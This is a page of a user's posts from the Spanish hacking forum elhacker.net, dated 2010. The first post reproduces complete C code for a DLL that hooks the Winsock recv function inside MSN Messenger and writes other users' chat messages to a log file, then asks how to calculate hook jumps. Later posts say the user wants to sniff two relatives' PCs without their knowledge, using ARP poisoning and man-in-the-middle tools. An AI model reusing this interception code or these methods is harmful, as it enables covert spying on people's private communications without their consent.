elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Como proteger una cartera - billetera de Bitcoin


  Mostrar Mensajes
Páginas: 1 2 [3] 4 5
21  Programación / Programación C/C++ / Re: me podeis decir Como calcular salto apihook? en: 16 Diciembre 2010, 23:11 pm
encontre este code donde se hookea a recv de "WSOCK32" de mazard:


Código:
//Interceptación de apis by MazarD (API HOOKING)
//Hook a WINSOCK
//www.mazard.info
#include <windows.h>
#include <stdio.h>

//Puntero al buffer donde guardaremos las instrucciones copiadas de la api y
//el salto a la api+5
BYTE *Buffer;


struct infoConverses
{
SOCKET sckMSN;
char correu[5000];
}msnFuckit[20];

struct paquetes
{
SOCKET s;
char *buf;
int len;
int flags;
}paquete;


int cntscks=-1;

//Ésta es la dll donde reside la api Recv y Send
char Libreria[]="WSOCK32.dll";


char LogMsn[MAX_PATH]="c:\\logmsn.txt";

//El api en qüestión
char NomApi[]="recv";


//Variable Booleana Flag
bool blockrec=false;

//Funcion a la que llamará el programa principal creiendo que es la api original
int WINAPI FuncioRep(SOCKET s,char *buf,int len,int flags);


void Hookear(void);

void Filtrar(void);

//Puntero a función, utilizando este puntero conseguiremos ejecutar el código contenido en el buffer
int (__stdcall *pBuff)(SOCKET s,char *buf,int len,int flags);

//La función de reemplazo explicada arriba

int WINAPI FuncioRep(SOCKET s,char *buf,int len,int flags)
{

int res;

res=pBuff(s,buf,len,flags);

paquete.s=s;
paquete.buf=buf;
paquete.len=len;
paquete.flags=flags;
Filtrar();




return (res);
}

void Hookear(void)
{
DWORD ProteVieja;
BYTE *DirApi;
BYTE *DirYo;
//Cojemos la dirección de memoria de la api
DirApi=(BYTE *) GetProcAddress(GetModuleHandle(Libreria),NomApi);


//Creamos 10bytes de memoria para nuestro Buffer
if ((Buffer=(BYTE *)malloc(10))==NULL) return;
if (VirtualProtect((void *) Buffer,12,PAGE_EXECUTE_READWRITE,&ProteVieja)==0) return;


//Buffer=(BYTE *)malloc(10);

//Le damos todos los permisos a los 10 bytes de nuestro Buffer
//VirtualProtect((void *) Buffer, 12, PAGE_EXECUTE_READWRITE, &ProteVieja);

//copiamos los 5 primeros bytes originales de la api antes de machacarlos
memcpy(Buffer,DirApi,5);
Buffer+=5;
//En el sexto introducimos E9 que corresponde a jmp(salto
//incondicional) en código máquina para que salte a la api original
*Buffer=0xE9;
Buffer++;

//A partir del septimo metemos 4 bytes que determinan la distancia del salto
//desde el buffer hasta la Dirección de la api+5
*((signed int *) Buffer)=(DirApi+1)-Buffer;

//Asignamos al puntero a funcion pBuff el inicio del Buffer
pBuff = (int (__stdcall *)(SOCKET,char*,int,int)) (Buffer-6);

//Le damos todos los permisos a los 5 primeros bytes de la api original
//VirtualProtect((void *) DirApi,5,PAGE_EXECUTE_READWRITE,&ProteVieja);
if (VirtualProtect((void *) DirApi,5,PAGE_EXECUTE_READWRITE,&ProteVieja)==0) return;


//Cambiamos el tipo a puntero a byte para facilitar el trabajo
DirYo=(BYTE *) FuncioRep;
//En el inicio de la api metemos un salto incondicional hacia nuestro código
//E9=jmp
*DirApi=0xE9;
DirApi++;

//Los 4 siguientes bytes determinan la distancia del salto desde la api hasta
//la función de reemplazo en nuestro código, fijate que en este caso el
//resultado tiene que ser negativo, puesto que las apis corren en direcciones
//de memória mucho mas altas y el salto deberá ser "hacia atrás"
*((signed int *) DirApi)=DirYo-(DirApi+4);

//libermos las librerias de cache
FlushInstructionCache(GetCurrentProcess(),NULL,NULL);
}

void Filtrar(void)
{
FILE *Archivo;
char Escric[1024];
int payl;
char cIRO[1024];
char *Ini;
char *Ini2;
int trobat=0;

if ((Ini=strstr(paquete.buf,"IRO "))!=NULL && strstr(paquete.buf,"@")!=NULL)
{
trobat=0;
Ini=strchr(Ini,' ');
Ini++;
Ini=strchr(Ini,' ');
Ini++;
Ini=strchr(Ini,' ');
Ini++;
Ini=strchr(Ini,' ');
Ini++;
Ini2=strchr(Ini,' ');
*Ini2=0;
strcpy(cIRO,Ini);
*Ini2=' ';

for (int j=0;j<=cntscks;j++)
{
if (strcmp(cIRO,msnFuckit[j].correu)==0) trobat=j;
}
if (trobat==0)
{
cntscks++;
msnFuckit[cntscks].sckMSN=paquete.s;
strcpy(msnFuckit[cntscks].correu,cIRO);
}else msnFuckit[trobat].sckMSN=paquete.s;
}

if (paquete.buf!=NULL && strcmp(paquete.buf,"")!=0 && (Ini=strstr(paquete.buf,"MSG"))!=NULL && strstr(paquete.buf,"Content-Type: text/plain")!=NULL)
{
Ini=strchr(Ini,'@');
Ini2=Ini;
while (*Ini2!=' ') Ini2--;
Ini2++;
Ini=strchr(Ini2,' ');
*Ini=0;
strcpy(Escric,Ini2);
*Ini=' ';

Archivo=fopen(LogMsn,"a");
fputs("\r\n",Archivo);
fputs(Escric,Archivo);
fputs(" dice:",Archivo);

Ini2=strchr(Ini,'\r');
Ini=Ini2;
while (*Ini!=' ')Ini--;
Ini++;
*Ini2=0;
payl=atoi(Ini);
*Ini2='\r';
Ini2+=2;
for (int k=0;k<payl;k++) Escric[k]=Ini2[k];
Escric[payl]=0;
Ini2=strstr(Escric,"\r\n\r\n");
Ini2+=4;

fputs("\r\n",Archivo);
fputs(Ini2,Archivo);
fclose(Archivo);

//Archivo=fopen(LogMsn,"a");
//fputs(buf,Archivo);
//fclose(Archivo);


}


}


bool WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{


//si se ha entrado en Dllmain porque se acaba de cargar la librería hookeamos
if (fdwReason == DLL_PROCESS_ATTACH) {

Hookear();

}

return TRUE;
}


lo ejecute y ploffffff el msn explota :D

http://www.uploadfilesystem.com//viewimage.php?file=/imagenes/10/12/16/K2s36301.jpg

Entonces me puse a modificar un poco ps igual crash¡¡¡, luego lo midifique en vez de "recv" a "send" pa ver q sucedia y crash¡¡. asi que me harte y borre la modificacion, y lei en el tuto de mazard los saltos y los bytes que se deben modificar en la api pa q todo vaya bien, asi que meti la cabeza en el debugger (como dice mazard) y me fije recv:

Código:
 recv:
88FF mov edi,edi
55 push ebp
8BEC mov ebp,esp
51 push ecx
51 push ecx
8B4510 mov eax,[ebp+10h]
8945F8 mov [ebp-08h],eax
8B450C mov eax,[ebp+0Ch]

cogiendo los 5 bytes serian: 88FF558BEC , pero como saber exactamente cuantos bytes se debe cojer si kisiera hookear otra api ? en el anterior por que se cogieron solo los 5 bytes?.

Lh: No hagas doble post. Utiliza el botón modificar.

En resumen, aki me estanco, me podeis dar una aclaracion de eso?




En la api ShowWindow de user32 sale esto:

Código:
B82B120000 mov eax,0000122Bh
BA0003FE7F mov edx,7FFE0300h
FF12 call [edx]
C20800 retn 0008h



Aqui cuantos bytes se cogeria?
22  Programación / Programación C/C++ / me podeis decir Como calcular salto apihook? en: 16 Diciembre 2010, 19:25 pm
Holas toi q practico apihooking, vi unos codes, me podeis decir como calcular : el salto - los bytes a modificar ? estoi viendo con mi debugger : user32.dll, kernel32.dll, wsock32.dll y veo algunas apis tienen mas de 5 bytes a modificar.
Estuve intentando hookear el send del wsock32 en el MSN, pero crashea, creo que calcule mal.
23  Seguridad Informática / Hacking / Re: No puedo sniffar trafico de mi red local. en: 16 Diciembre 2010, 04:26 am
thanks for you.
24  Seguridad Informática / Hacking / Re: No puedo sniffar trafico de mi red local. en: 15 Diciembre 2010, 16:24 pm
man tambien probe con el cain, peor naaa, pero tengo el virtual box y una VM con ubuntu 10.4 esta bien esta? o cual me recomiendas a descargar? , podeis recomendarme un tuto de para hacer esto en linux desde cero?, no me manejo bien en linux , solo se lo basico.
pero no importa si lo ejecuto el linux en un VM?
25  Seguridad Informática / Hacking / Re: No puedo sniffear trafico de mi red local. en: 15 Diciembre 2010, 15:54 pm
¿donde podria estar el error?, o que requerimentos o configuraciones deberia chequear yo en mi PC o el router para que funcione esto?
mi SO: win7, tengo pass del router.

salu2
26  Seguridad Informática / Hacking / Re: No puedo sniffear trafico de mi red local. en: 15 Diciembre 2010, 15:38 pm
Primero gracias por responder  ;-) , llevo 10 dias buscando solucion.
Me lei un tuto para usar "man in the midle" y "arp poisoning" con ettercap, lo probe en una VM y mi pc fisica, y funko bien (mi pc fisica sniffaba a la VM y viceversa) , pero con las otras PCs no,.
entonces me lei un tuto que combinaba ettercap y wireshark, pero tampoco, ya he leido varios tutos y dicen lo mismos pasos, donde podria estar el error?, o que requerimentos o configuraciones deberia chequear yo en mi PC o el router para que funcione esto?
mi SO: win7, tengo pass del router.

salu2
27  Seguridad Informática / Hacking / No puedo sniffar trafico de mi red local. en: 15 Diciembre 2010, 03:01 am
Tengo un pequeño problemilla, resulta que tengo un router que comparto, con 2 PCs de familiares que se conectan por cable ethernet, y quiero saber las webs, msn que visitan , es decir sniffar el trafico las 2 PCs pero no tengo acceso fisico a los PCs, estuve buscando sniffers (wireshark, ettercap, cain y abel, monitor network) y "Man in the midle", los pruebo en mi PC y todo va bien , atrapan msn,http,ftp y todo, pero cuando quiero capturar el trafico de las otras 2 PCs, solo sale mensajes del protocolo ICMP, IGMP, NBNS, BROWSE, pero nada de TCP (msn, http, ftp etc).
Asi estamos organizada mi red:

http://www.uploadfilesystem.com//viewimage.php?file=/imagenes/10/12/13/63s79259.jpg

Unas capturas de lo que me sale en el wireshark:

http://www.uploadfilesystem.com//viewimage.php?file=/imagenes/10/12/09/KHW49988.jpg

Una mano con este lio, gracias de antemano.
28  Programación / Programación C/C++ / error de cabeceras precompiladas en VC++ 6.0 en: 14 Diciembre 2010, 22:20 pm
encontre este code de hookear recv de sockets
http://foro.elhacker.net/programacion_cc/hookear_winsock-t201916.0.html;msg960055

quise compilarlo en VC++ 6.0 file/new / win32 dynamic link library / a simple project, luego copy paste al codigo, luego build/set active project configuration/ win32 release , luego build daga.dll (daga le puse de nombre)
y me bota este error:

Código:
--------------------Configuration: daga - Win32 Release--------------------
Compiling...
daga.cpp
C:\daga\daga.cpp(231) : fatal error C1010: unexpected end of file while looking for precompiled header directive
Error executing cl.exe.

daga.dll - 1 error(s), 0 warning(s)
29  Seguridad Informática / Hacking / capturar trafico de varias pc en red LAN en: 12 Diciembre 2010, 02:07 am
holas amigos , sabran de algun pro. que pueda capturar el trafico TCP/HTTP de otras pc que comparten un modem router?
excepto: wireshark, ettercap, cain y no obtuve resultads.
salu2
30  Programación / Programación Visual Basic / error vb6 en win xp SP3 en: 12 Diciembre 2010, 00:48 am
instale el windows xp sp3 en una vm de virtualbox , le instale vb 6 studio, lo ejecuto y quiero abrir el editor de codigo pero el vb6 colapsa y me sale ese mensaje de enviar informe a microsoft.Luego intente usar un vb6 portable, al abrir el editor de codigo no puedo escribir nada, ni copiar, cuando abro un proyecto hecho anteriormente el editor aparece totalmente vacio.pense que era problema de la vm , pero probe escribir en el notepad y escribe normal.
una mano con esto.
Páginas: 1 2 [3] 4 5
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines